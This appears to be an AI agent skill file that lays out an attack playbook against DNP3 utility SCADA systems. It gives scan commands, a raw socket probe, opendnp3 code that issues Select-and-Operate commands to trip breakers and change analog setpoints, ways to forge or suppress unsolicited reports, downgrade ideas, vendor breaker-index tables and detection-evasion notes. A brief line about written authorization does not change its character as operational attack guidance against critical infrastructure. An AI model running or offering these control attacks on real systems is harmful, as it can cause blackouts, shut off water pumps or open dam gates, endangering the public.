| name | ics-dnp3 |
| description | DNP3 attack — TCP/20000 (or 19999 serial-over-TCP) outstation enumeration, binary input / analog input poll, control relay output block (CROB) actuation, unsolicited reporting abuse, DNP3 Secure Authentication (DNP3-SA) downgrade, vendor-specific objects. |
| allowed-tools | Bash Read Write |
| metadata | {"when_to_use":"dnp3 distributed network protocol 20000 19999 outstation rtu master control relay crob analog binary unsolicited dnp3-sa","subdomain":"ics-ot","tags":"dnp3, rtu, scada, utility, power-grid","mitre_attack":"T0855, T0836, T0855, T0846"} |
DNP3 Attack — Utility SCADA
DNP3 is the dominant protocol in North American electric utilities (substations, RTUs) and water/wastewater. TCP/20000.
Discover
nmap -p 20000 --script=dnp3-info 10.0.0.0/24
python3 -c '
import socket, struct
# DNP3 link layer Start (0x05 0x64), Length, Control, Dest, Src
pkt = b"\x05\x64\x05\xc0\x00\x00\x01\x00\xa5\xa1"
s = socket.socket(); s.connect(("10.0.0.50", 20000)); s.send(pkt)
print(s.recv(256).hex())
'
Read attacks (passive — generally safe)
import opendnp3
master.ScanClasses([0, 1, 2, 3])
Control attacks (potentially HIGH IMPACT)
Control Relay Output Block (CROB) — trip / close a breaker
import opendnp3
crob = opendnp3.ControlRelayOutputBlock(opendnp3.ControlCode.LATCH_ON)
res = master.SelectAndOperate(crob, 5)
This is the single most dangerous DNP3 primitive: a successful Select+Operate on the right index can trip transmission breakers, open dam gates, shut off pumps.
Analog Output Block (AOB) — setpoint
aob = opendnp3.AnalogOutputInt16(value=100)
master.SelectAndOperate(aob, 3)
Unsolicited reporting abuse
DNP3 supports outstation-initiated reports. An attacker positioned between master and outstation can:
- Inject fake unsolicited reports (false alarms) — operator response cascade
- Suppress real reports — operator blind during a real fault
- Reply with stale data via timestamp tampering (Group 50 Var 1)
DNP3 Secure Authentication (DNP3-SA) downgrade
DNP3-SA adds HMAC-based message authentication. Many implementations support both authenticated and unauthenticated modes for backward compatibility:
Many older RTUs don't support DNP3-SA at all — full unauthenticated control plane.
Tooling
pip install dnp3-toolkit
dnp3-scan 10.0.0.0/24
dnp3-info 10.0.0.50
opendnp3 examples — github.com/dnp3/opendnp3
OPSEC + safety
- Critical safety: DNP3 controls the bulk electric power system (in North America). Trip operations cause real outages. SelectAndOperate on a transmission breaker can blackout neighborhoods. Require written scope authorization for any control-class action.
- ICS-CERT and EISAC actively monitor for unusual DNP3 traffic. Master-station IP changes are detected.
- DNP3 over modem (serial) is common in older substations — your network position must be at the SCADA master, not internet.
Reference indices for common deployments
| Vendor RTU | Common control indices |
|---|
| GE D20 | Breaker trip = 0-9, recloser = 10-19 |
| SEL-2440 | Per-feeder breaker = 16-23 |
| Schweitzer RTAC | Indices vary heavily by configuration |
Always confirm point map (POINT.CSV or DNP3 device profile) before any write.
References
- IEEE 1815 (DNP3 standard) and "DNP3 Application Layer" specification
- "Hacking the Electric Grid" — Daniel Crowley (Trustwave / X-Force Red)
- DEFCON 27 ICS Village "DNP3 Authentication Bypass"
- NERC CIP-007/CIP-005 (defender baseline — useful to understand what's audited)